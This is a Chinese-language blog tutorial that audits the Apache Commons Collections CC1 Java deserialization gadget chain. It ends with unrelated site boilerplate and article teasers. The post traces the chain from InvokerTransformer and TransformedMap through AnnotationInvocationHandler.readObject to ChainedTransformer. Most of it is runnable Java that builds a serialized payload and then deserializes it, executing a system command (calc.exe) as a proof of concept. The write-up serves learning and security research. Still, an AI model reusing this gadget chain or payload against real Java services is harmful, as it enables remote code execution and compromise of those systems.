java-CC1 链条审计

java-CC1 链条审计

CC1 是 CommonsCollections1 的简称,它是 Apache Commons Collections 库中的一个已知的反序列化利用链。而这个库也是 java 中比较通用的库。在 java 语言里面有执行系统命令的Runtime类

像 php 中的 eval()、system()、exec()、shell_exec()、assert()、passthru()、escapeshellcmd()、pcntl_exec()等命令执行函数相似

CC1 调用链条

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()ChainedTransformer.transform()ConstantTransformer.transform()Map().setValue()Entry.setValue()TransformedMap.checkSetValue()InvokerTransformer.transform()Method.invoke()Runtime.exec()

终点发现

InvokerTransformer

InvokerTransformer 类中有一个 transform 方法,他在方法里面对 传入的参数 进行了反射,运行了方法。

image-20240917162213875

让我们来运行下边代码,看一下这个重点是否是可以运行命令的

public class ApacheCC1 {public void testInvoker(){Runtime runtime = Runtime.getRuntime();Object[] args = new Object[]{"calc.exe"};String methodName = "exec";Class[] paramType = new Class[]{String.class};InvokerTransformer transformer = new InvokerTransformer(methodName,paramType,args);transformer.transform(runtime);}public static void main(String[] args) throws Exception {ApacheCC1 a = new ApacheCC1();a.testInvoker();}
}

通过向 InvokerTransformer 传入反射的 Runtime 类,可以看到,我们成功打开了我们电脑上的计算器。

image-20240917162854899

这就说明了这个反序列的终点是可用的。

找到了终点,我们通过 idea 的功能去寻找看看有没有可控的参数调用这个终点函数 tansform() 方法

TransformedMap

我们已经知道了 CC1 链条的结果,就不必再去复审可能的结果,直接看链条构成的函数 TransformedMap.checkSetValue() 方法

image-20240917202806791

接着查看 checkSetValue() 是谁再调用

image-20240917203634663

发现就这一个结果 MapEntrysetValue() 在调用,我们可以写段代码来验证这个 SetValue() 方法是否可以执行命令。

  • 当然我们在创建 TransformedMap 类时发现,它的构造方法是 protected,也就是不能直接 new()出这个对象

image-20240917204809217

  • 我们在本类里查看,有没有方法调用了这个构造方法,可以借助其他方法帮我们完成实例化 TransformedMap

image-20240917204956065

看到 decorate() 这个 public 的方法调用了 TransformedMap 的构造方法

用下面这段代码,检验这个方法是否可以调用

public void test02()  {System.out.println("正在运行");Runtime runtime = Runtime.getRuntime();Object[] args = new Object[]{"calc.exe"};String methodName = "exec";Class[] paramType = new Class[]{String.class};InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);Transformer valueTrans = transformer;Map map = new HashMap();map.put(1,1);Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);for(Map.Entry entry : transformed.entrySet()) {entry.setValue(runtime);}
}

运行,成功打开了计算机

image-20240917210216161

注意:这里之所以会去继续找上层的 MapEntrysetValue() 方法,是因为我们通过 TransformedMap.decorate() 方法获取的对象是 Map 类,而 Map 类是 TransformedMap 的父类,他不能调用子类的 checkSetValue() 方法,无法使链条闭环

起点

AnnotationInvocationHandler

在 JDK 的内置对象中 sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject() 方法调用了 setValue() 方法

readObject() 就是反序列化自动执行的代码。

image-20240918101922215

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}

可以看到这段代码在第 26 行调用了 setValue() 方法,但是我们仍然遇到了问题

  • 要满足 if 语句中 memberType != null!(memberType.isInstance(value) ||value instanceof ExceptionProxy) 的判断,让代码可以自动执行到 setValue() 方法
  • setValue() 方法的参数得换成 RunTime 对象

尝试调试运行以下代码

public class ApacheCC1 {public void test03() throws Exception {Runtime runtime = Runtime.getRuntime();Object[] args = new Object[]{"calc.exe"};String methodName = "exec";Class[] paramType = new Class[]{String.class};InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);Transformer valueTrans = transformer;Map map = new HashMap();map.put("value","1");Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);// for(Map.Entry entry : transformed.entrySet()) {//     entry.setValue(runtime);// }Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(SuppressWarnings.class,transformed);FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(obj);}public void unserializeCC1() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC1 a = new ApacheCC1();a.test03();a.unserializeCC1();}
}

可以看到,我们的链条已经满足了 if 语句里的判断,进入了

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}

但是我们 setValue() 方法的参数是无效的参数

这时候就巧妙地用到了 constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环

image-20240918122847125

但是这样我们在传入参数的时候又遇到了一个问题

  • 就是我要传入两个有 transform() 方法的类 constantTransformerInvokerTransformer

这时候我们就看到了 ChainedTransformertransform() 方法,他是在遍历对象的 transform() 方法

image-20240918123654010

这就允许我们的 CC1 链条完全闭环

最终代码

public class ApacheCC1 {public void CC1() throws Exception {Map map = new HashMap();map.put("value","1");// ConstantTransformer返回RuntimeConstantTransformer constantTrans = new ConstantTransformer(Runtime.class);// 反射出RuntimeTransformer[] transformed_arry = new Transformer[]{constantTrans,new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};// ChainedTransformer循环调用transform()方法ChainedTransformer chainedTrans = new ChainedTransformer(transformed_arry);// 实例化传入ChainedTransformer对象Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTrans);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(SuppressWarnings.class,transformed);FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(obj);}public void unserializeCC1() throws Exception {FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();System.out.println("运行完成");}public static void main(String[] args) throws Exception {ApacheCC1 a = new ApacheCC1();a.CC1();a.unserializeCC1();}
}

总结

我过程写的很简洁,因为我们在上帝视角来看这条链条,没有真正审计时候的迷茫和一些心理的煎熬。

而笔记的主要作用也是帮助我们可以串思路,能够想起这个链条的几个转折点够了

  • MapEntry 的 setValue()方法,因为``TransformedMap.decorate()方法获取的对象是Map类,而Map类是TransformedMap的父类,他不能调用子类的checkSetValue()`方法
  • 寻找起点时的 ChainedTransformer.transform() ==> ConstantTransformer.transform() ==> InvokerTransformer的窍门利用
  • Runtime类反射传入InvokerTransformer,应为Runtime类不能被序列化

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1538016.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

抖音生活服务常见玩法及收益情况详解!普通人如何把握机会?

随着抖音在生活服务板块的布局力度持续加大&#xff0c;越来越多的人开始逐渐意识到它所蕴含着的巨大收益潜力&#xff0c;但却由于对它的具体概念较为模糊而始终找不到入局的途径。那么本期&#xff0c;我们就来详聊一下抖音生活服务是干什么的和可以怎么干的两大核心问题&…

【C语言必学知识点七】你知道在动态内存管理中存在的内存泄露问题吗?遇到内存泄露时应该如何处理?今天跟你好好介绍一下如何正确使用calloc与realloc!!!

动态内存管理——动态函数&#xff08;calloc、realloc&#xff09;的使用 导读一、calloc函数1.1 函数介绍1.2 calloc的使用1.3 calloc与malloc 二、realloc函数2.1 函数介绍2.2 realloc的使用2.3 realloc的空间分配2.3.1 空间分配成功——地址的改变2.3.2 空间分配失败——内…

14.其他流(下篇)

目录 1. IO流的体系结构 2.字节缓冲流 3.字符缓冲流 4.转换流 5.序列化 6.打印流 7.压缩流与解压流 8.工具包 1. IO流的体系结构 IO流的使用原则&#xff1a;随用随创建&#xff0c;什么时候不用什么时候关闭 1.1 io流的体系结构图 1.2缓冲流的分类 缓冲流,也叫高效流&#…

Redhat 7,8系(复刻系列) 一键部署Oracle21c-xe rpm

Oracle21c-xe前言 无论您是开发人员、DBA、数据科学家、教育工作者,还是仅仅对数据库感兴趣,Oracle Database Express Edition (XE) 都是理想的入门方式。它是全球企业可依赖的强大的 Oracle Database,提供简单的下载、易于使用和功能齐全的体验。您可以在任何环境中使用该…

买家希望信任内容,但他们看重你的内容吗?[新研究]

B2B 技术买家希望获取可信的内容。他们还需要在内容中找到价值。 根据 Informa Tech 的一份 最新研究报告&#xff08;需注册&#xff09;&#xff0c;许多人发现这种组合难以捉摸。 B2B 营销人员如何填补信任差距&#xff0c;以便买家能够更多地参与、采取更多行动&#xff…

【Python篇】NumPy完整指南(上篇):掌握数组、矩阵与高效计算的核心技巧

文章目录 Python NumPy学习指南第一部分&#xff1a;NumPy简介与安装1. 什么是NumPy&#xff1f;2. 安装NumPy使用pip安装&#xff1a;使用Anaconda安装&#xff1a; 第二部分&#xff1a;NumPy数组基础1. NumPy数组的创建从列表创建一维数组&#xff1a;创建多维数组&#xff…

Java语言程序设计基础篇_编程练习题*18.28 (非递归目录大小)

目录 题目&#xff1a;*18.28 (非递归目录大小) 习题思路 代码示例 输出结果 题目&#xff1a;*18.28 (非递归目录大小) 不使用递归改写程序清单18-7 习题思路 &#xff08; getSize方法&#xff09; 创建一个变量表示总共的大小。传入路径&#xff0c;创建File文件。创建A…

生成式人工智能在无人机群中的应用、挑战和机遇

人工智能咨询培训老师叶梓 转载标明出处 无人机群在执行人类难以或危险任务方面有巨大潜力&#xff0c;但在复杂动态环境中学习和协调大量无人机的移动和行动&#xff0c;对传统AI方法来说是重大挑战。生成式人工智能&#xff08;Generative AI, GAI&#xff09;&#xff0c;凭…

IPPBX概述

IP PBX涵义 IP PBX是一种电信设备&#xff0c;IP PBX是一种专用交换机&#xff08;企业内的电话交换系统&#xff09;&#xff0c;用于在本地线路上的VoIP&#xff08;互联网协议语音或IP&#xff09;用户之间切换呼叫&#xff0c;同时允许所有用户共享一定数量的外部电话线路…

【Java】网络编程:TCP_IP协议详解(IP协议数据报文及如何解决IPv4不够的状况)

&#x1f308;个人主页&#xff1a;努力学编程’ ⛅个人推荐&#xff1a; c语言从初阶到进阶 JavaEE详解 数据结构 ⚡学好数据结构&#xff0c;刷题刻不容缓&#xff1a;点击一起刷题 &#x1f319;心灵鸡汤&#xff1a;总有人要赢&#xff0c;为什么不能是我呢 &#x1f354…

编译和链接以及makefile

编译和链接以及makefile 问题引出&#xff0c;为什么我们会忽略编译和链接这个步骤 一定都会用到但却很少被重视的步骤——编译和链接&#xff0c;通常这两个步骤被我们的IDE封装的很完美&#xff0c;我们一般都是一件构建。 但是一旦遇到错误的时候&#xff0c;尤其是链接相关…

动手学深度学习(pytorch土堆)-05-1神经网络

Neural network 以下是 torch.nn 库中各个组件的详细分类&#xff1a; 1. 容器 (Containers) torch.nn.Sequential: 顺序容器&#xff0c;用于将层按顺序堆叠在一起。torch.nn.ModuleList: 模块列表&#xff0c;用于存储多个子模块。torch.nn.ModuleDict: 模块字典&#xff…

Pycharm出现Please specify a different SDK name报错,但是看不到重名环境解决方案

这句话的意思是出现了重名的环境 &#xff0c;一般情况下删除重名的环境即可解决问题。做法如下图所示 1&#xff0c;点击右上角齿轮→settings&#xff08;或者File→settings&#xff09;进入Python Interpreter 2.点击这个沙漏按键&#xff0c;你会发现多了几个环境&#x…

minio的最大优势--运维(五)

前言&#xff1a; 前面讲了minio的简介、场景、单机部署、集群部署等内容&#xff0c;现在简单来讲讲它的运维工具。 一、Minio客户端使用&#xff08;这个中文文档没问题&#xff09; 官方文档地址&#xff1a;https://docs.min.io/docs/minio-client-quickstart-guide.html…

穿什么有这么重要?——装饰模式

文章目录 穿什么有这么重要&#xff1f;——装饰模式穿什么有这么重要&#xff1f;小菜扮靓第一版小菜扮靓第二版装饰模式小菜扮靓第三版商场收银程序再升级简单工厂策略装饰模式实现装饰模式总结 穿什么有这么重要&#xff1f;——装饰模式 穿什么有这么重要&#xff1f; 时…

手写redis实现分布式锁详细教程,满足可续锁、可重入等分布式锁条件

前言 本文将讨论的做一个高并发场景下避不开的话题&#xff0c;即redis分布式锁。比如在淘宝 的秒杀场景、热点新闻和热搜排行榜等。可见分布式锁是一个程序员面向高级的一门必修课&#xff0c;下面请跟着本篇文章好好学习。 redis分布式锁有哪些面试题 1.Redis做分布式的时…

执着追求与匠心独运 朵拉朵尚2024欧洲溯源 深入德国巴斯夫

执着追求与匠心独运 朵拉朵尚2024欧洲溯源 深入德国巴斯夫 前不久&#xff0c;朵拉朵尚踏上了其2024年欧洲溯源之旅的第三站—德国巴斯夫&#xff0c;一场旨在深化护肤智慧、共谋新品未来的深度交流盛宴在此拉开帷幕。作为全球最大的化工公司&#xff0c;巴斯夫不仅以其卓越的…

电脑录屏工具哪个好用?推荐新手几款实用工具介绍

现在不管是录个教学视频教教别人&#xff0c;还是直播游戏给粉丝看&#xff0c;或者是展示你的产品&#xff0c;都得用到它。但是市面上的录屏软件多得让人眼花缭乱&#xff0c;新手可能一看就懵了。别急&#xff0c;今天我就给你介绍几个特别好用的电脑录屏工具&#xff0c;不…

攻克大模型面试!RAG基础与应用痛点一网打尽!

RAG相关理论知识与经验整理。 谈到大模型在各垂直领域中的应用&#xff0c;一定离不开RAG&#xff0c;本系列开始分享一些RAG相关使用经验&#xff0c;可以帮助大家在效果不理想的时候找到方向排查或者优化。 本系列以医疗领域为例&#xff0c;用面试题的形式讲解RAG相关知识…

唤醒金融数据中台:我的数据驱动秘籍

目录 一、明析业务痛点和机会点二、数据驱动精准化营销三、一体化数据平台——整合金融数据1. 数据整合与标准化2. 数据服务与共享3.业务体系集中化 四、强化金融数据安全&#xff0c;筑牢数据保护防线 在当今数字化时代的大潮中&#xff0c;数据无疑是金融行业最耀眼的财富。作…